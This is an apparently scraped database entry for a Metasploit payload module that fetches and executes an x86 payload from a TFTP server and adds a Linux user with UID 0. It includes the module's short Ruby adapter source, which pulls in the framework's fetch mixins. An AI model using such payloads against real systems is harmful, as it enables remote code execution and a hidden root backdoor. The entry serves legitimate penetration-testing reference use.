Lucene search

K
metasploitBrendan Watters, Spencer McIntyre, skape <[email protected]>, vlad902 <[email protected]>, spoonm <spoonm@no$email.com>MSF:PAYLOAD-CMD-LINUX-TFTP-X86-ADDUSER-
HistoryJun 09, 2023 - 8:47 p.m.

TFTP Fetch, Linux Add User

2023-06-0920:47:45
Brendan Watters, Spencer McIntyre, skape <[email protected]>, vlad902 <[email protected]>, spoonm <spoonm@no$email.com>
www.rapid7.com
87
metasploit
tftp
linux
payload
server
brendan watters
spencer mcintyre
x86
fetch
execute
arch
adapted.

Fetch and execute a x86 payload from a TFTP server. Create a new user with UID 0

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  include Msf::Payload::Adapter::Fetch::TFTP
  include Msf::Payload::Adapter::Fetch::LinuxOptions

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TFTP Fetch',
        'Description' => 'Fetch and execute a x86 payload from a TFTP server.',
        'Author' => ['Brendan Watters', 'Spencer McIntyre'],
        'Platform' => 'linux',
        'Arch' => ARCH_CMD,
        'License' => MSF_LICENSE,
        'AdaptedArch' => ARCH_X86,
        'AdaptedPlatform' => 'linux'
      )
    )
  end
end